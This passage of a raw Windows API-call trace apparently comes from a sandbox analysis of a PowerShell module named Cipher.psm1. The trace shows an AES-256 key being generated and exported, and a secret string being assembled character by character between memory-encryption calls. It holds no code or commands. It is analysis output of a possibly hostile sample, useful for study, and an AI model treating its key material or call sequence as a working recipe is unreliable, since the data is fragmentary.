[2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.792] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.793] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="\x100\x6a5\x178\x6a5\x130\x6a5\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\xce08\x686\x92e4\x68d\x4024\x679\xd700\x686\x9400\x68d\x2eb7\x73ad\xec48\x99a\xdc98\x664\x1082\x73b6\xde1c\x664\x1082\x73b6\xbab0\x42f\x108e\x73b6\xdc98\x664\x04") returned 0x0 [0129.793] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0129.793] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.793] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.793] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.794] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0129.794] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0129.794] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.794] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.794] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.795] CryptAcquireContextW (in: phProv=0x99ae3e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae3e0*=0x8e02828) returned 1 [0129.796] CryptGenKey (in: hProv=0x8e02828, Algid=0x6610, dwFlags=0x1, phKey=0x99ae80c | out: phKey=0x99ae80c*=0x8e84f78) returned 1 [0129.796] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0129.796] CryptExportKey (in: hKey=0x8e84f78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae7f8 | out: pbData=0x0*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0129.796] CryptExportKey (in: hKey=0x8e84f78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6ac79f0, pdwDataLen=0x99ae7f8 | out: pbData=0x6ac79f0*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0129.796] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae35c, nSize=0x100 | out: lpBuffer="") returned 0x0 [0129.796] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae734*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae734*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.796] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae694*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae694*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.796] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.797] SysStringLen (param_1="") returned 0x8 [0129.797] SysStringLen (param_1="D") returned 0x8 [0129.797] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.797] SysStringLen (param_1="\x9313\xe766\x5451\xd250\xce0\x2ba3\xe225\x53dc") returned 0x8 [0129.797] SysStringLen (param_1="\x9313\xe766\x5451\xd250\xce0\x2ba3\xe225\x53dc") returned 0x8 [0129.797] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.797] SysStringLen (param_1="D0") returned 0x8 [0129.797] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.797] SysStringLen (param_1="\xc1b9\xf818\xbfcb\xb74c\x398d\x5d2e\xdfff\x4916") returned 0x8 [0129.797] SysStringLen (param_1="\xc1b9\xf818\xbfcb\xb74c\x398d\x5d2e\xdfff\x4916") returned 0x8 [0129.797] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.797] SysStringLen (param_1="D0s") returned 0x8 [0129.798] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.798] SysStringLen (param_1="\x82d3\x5b9a\x259a\xa11c\xe0ca\x8192\xf08d\x264f") returned 0x8 [0129.798] SysStringLen (param_1="\x82d3\x5b9a\x259a\xa11c\xe0ca\x8192\xf08d\x264f") returned 0x8 [0129.798] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.798] SysStringLen (param_1="D0s1") returned 0x8 [0129.798] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.798] SysStringLen (param_1="\x91d2\xfa3d\x466d\x4ea1\xc491\xe02\xe064\x7f97") returned 0x8 [0129.798] SysStringLen (param_1="\x91d2\xfa3d\x466d\x4ea1\xc491\xe02\xe064\x7f97") returned 0x8 [0129.798] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.798] SysStringLen (param_1="D0s1O") returned 0x8 [0129.798] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.798] SysStringLen (param_1="\x7813\xeecd\xd90b\x3c08\x5443\x5e5a\xa737\x94e8") returned 0x8 [0129.798] SysStringLen (param_1="\x7813\xeecd\xd90b\x3c08\x5443\x5e5a\xa737\x94e8") returned 0x8 [0129.798] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.798] SysStringLen (param_1="D0s1Oo") returned 0x8 [0129.798] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.798] SysStringLen (param_1="\x9b59\x52a8\xce42\xe462\xa6ec\x3e47\xcd76\xc91f") returned 0x8 [0129.798] SysStringLen (param_1="\x9b59\x52a8\xce42\xe462\xa6ec\x3e47\xcd76\xc91f") returned 0x8 [0129.798] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.799] SysStringLen (param_1="D0s1Oog") returned 0x8 [0129.799] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.799] SysStringLen (param_1="\x6526\x24b9\xb74c\x9006\x508e\x9e7f\xfd3b\x4f4") returned 0x8 [0129.799] SysStringLen (param_1="\x6526\x24b9\xb74c\x9006\x508e\x9e7f\xfd3b\x4f4") returned 0x8 [0129.799] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.799] SysStringLen (param_1="D0s1Oogn") returned 0x8 [0129.799] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.799] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff") returned 0x8 [0129.799] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff") returned 0x8 [0129.799] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff") returned 0x8 [0129.799] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff") returned 0x10 [0129.799] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.799] SysStringLen (param_1="D0s1Oogn3웤ϴ灱⡄崉䨬") returned 0x10 [0129.799] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.799] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\xf1b1\xda4c\x3a2c\x1b2a\x3f1c\x7816\xf134\x31f3") returned 0x10 [0129.799] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\xf1b1\xda4c\x3a2c\x1b2a\x3f1c\x7816\xf134\x31f3") returned 0x10 [0129.799] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.800] SysStringLen (param_1="D0s1Oogn32ϴ灱⡄崉䨬") returned 0x10 [0129.800] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.800] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\xedf0\x3fb4\xfec1\x3dd\xe949\xbacc\x50d6\x96e0") returned 0x10 [0129.800] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\xedf0\x3fb4\xfec1\x3dd\xe949\xbacc\x50d6\x96e0") returned 0x10 [0129.800] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.800] SysStringLen (param_1="D0s1Oogn32Uϴ灱⡄崉䨬") returned 0x10 [0129.800] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.800] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x9a1c\x8e6b\xfb03\xff30\x5a2a\x6731\x9ff6\x347c") returned 0x10 [0129.800] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x9a1c\x8e6b\xfb03\xff30\x5a2a\x6731\x9ff6\x347c") returned 0x10 [0129.800] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.800] SysStringLen (param_1="D0s1Oogn32U8灱⡄崉䨬") returned 0x10 [0129.800] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.801] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x2270\xfecb\x4185\x1fc9\x984\xa27\x64bb\xf8ea") returned 0x10 [0129.801] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x2270\xfecb\x4185\x1fc9\x984\xa27\x64bb\xf8ea") returned 0x10 [0129.801] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.801] SysStringLen (param_1="D0s1Oogn32U8N⡄崉䨬") returned 0x10 [0129.801] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.801] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\xfb55\x1436\x36ba\x947\x6941\x30df\x32a4\xfc30") returned 0x10 [0129.801] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\xfb55\x1436\x36ba\x947\x6941\x30df\x32a4\xfc30") returned 0x10 [0129.801] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.801] SysStringLen (param_1="D0s1Oogn32U8Nq崉䨬") returned 0x10 [0129.801] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.801] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\xd85c\x49db\xb3a2\xa35\x92bd\x8e4b\xa280\x5260") returned 0x10 [0129.801] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\xd85c\x49db\xb3a2\xa35\x92bd\x8e4b\xa280\x5260") returned 0x10 [0129.801] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.801] SysStringLen (param_1="D0s1Oogn32U8Nqv䨬") returned 0x10 [0129.801] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.801] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x54a0\x1bb3\x71f3\x58db\x3bfc\x1702\xbf21\xb96c") returned 0x10 [0129.801] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x54a0\x1bb3\x71f3\x58db\x3bfc\x1702\xbf21\xb96c") returned 0x10 [0129.802] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.802] SysStringLen (param_1="D0s1Oogn32U8Nqv4") returned 0x10 [0129.802] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.802] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6") returned 0x10 [0129.802] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6") returned 0x10 [0129.802] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6") returned 0x10 [0129.802] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6") returned 0x18 [0129.802] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.802] SysStringLen (param_1="D0s1Oogn32U8Nqv4S摔빚쟓浴㗩ཱུ") returned 0x18 [0129.802] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.802] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\xce89\x8c36\xf5eb\xe5d5\xd9e3\x66a4\x77ee\xa9d4") returned 0x18 [0129.802] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\xce89\x8c36\xf5eb\xe5d5\xd9e3\x66a4\x77ee\xa9d4") returned 0x18 [0129.802] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.802] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj빚쟓浴㗩ཱུ") returned 0x18 [0129.802] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.802] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\xdeb2\xd5af\x4e9e\x504f\xf9bc\xd632\x978e\x50e2") returned 0x18 [0129.802] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\xdeb2\xd5af\x4e9e\x504f\xf9bc\xd632\x978e\x50e2") returned 0x18 [0129.802] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.803] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/빚쟓浴㗩ཱུ") returned 0x18 [0129.803] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.803] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x442a\x249c\x7fff\xbf4a\x3a9\x16c2\x807a\x7044") returned 0x18 [0129.803] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x442a\x249c\x7fff\xbf4a\x3a9\x16c2\x807a\x7044") returned 0x18 [0129.803] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.803] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0쟓浴㗩ཱུ") returned 0x18 [0129.803] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.803] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x288\x1c8\x9c32\xd1b9\x177f\x1281\xef3b\x3184") returned 0x18 [0129.803] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x288\x1c8\x9c32\xd1b9\x177f\x1281\xef3b\x3184") returned 0x18 [0129.803] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.803] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0R浴㗩ཱུ") returned 0x18 [0129.803] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.803] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\xc4e4\xb01b\xe323\x6ea1\x3209\xb0b4\xcd0b\xcee") returned 0x18 [0129.803] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\xc4e4\xb01b\xe323\x6ea1\x3209\xb0b4\xcd0b\xcee") returned 0x18 [0129.803] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.803] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0R1㗩ཱུ") returned 0x18 [0129.803] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.804] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x3dd5\x4f3\x4dac\xcb95\x4fde\x9af4\xfacc\x3687") returned 0x18 [0129.804] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x3dd5\x4f3\x4dac\xcb95\x4fde\x9af4\xfacc\x3687") returned 0x18 [0129.804] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.804] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0R1Pཱུ") returned 0x18 [0129.804] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.804] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\xf56b\xd485\xf53e\x8d01\xc3c1\x5a55\xa1a5\x790f") returned 0x18 [0129.804] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\xf56b\xd485\xf53e\x8d01\xc3c1\x5a55\xa1a5\x790f") returned 0x18 [0129.804] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.804] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0R1PD") returned 0x18 [0129.804] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.804] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6") returned 0x18 [0129.804] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6") returned 0x18 [0129.804] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6") returned 0x18 [0129.804] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6") returned 0x20 [0129.809] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.809] SysStringLen (param_1="D0s1Oogn32U8Nqv4Sj/0R1PDz튢ᬵŻ螛륉紲") returned 0x20 [0129.809] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.810] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x8ad2\x7f0f\xe70d\x892\x6628\x3674\xb4cc\xe318") returned 0x20 [0129.810] SysStringLen (param_1="\x9b4d\xc6ce\xa9e7\x2f2\xb4b1\x3cd1\x18f2\x7aff\x322e\x647e\xaf82\xbf5c\x313\x79e1\x7012\x3fa6\x9cd6\xd288\x687d\x7d\x435b\xaddc\x38c9\xdcc6\x8ad2\x7f0f\xe70d\x892\x6628\x3674\xb4cc\xe318") returned 0x20 [0129.810] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 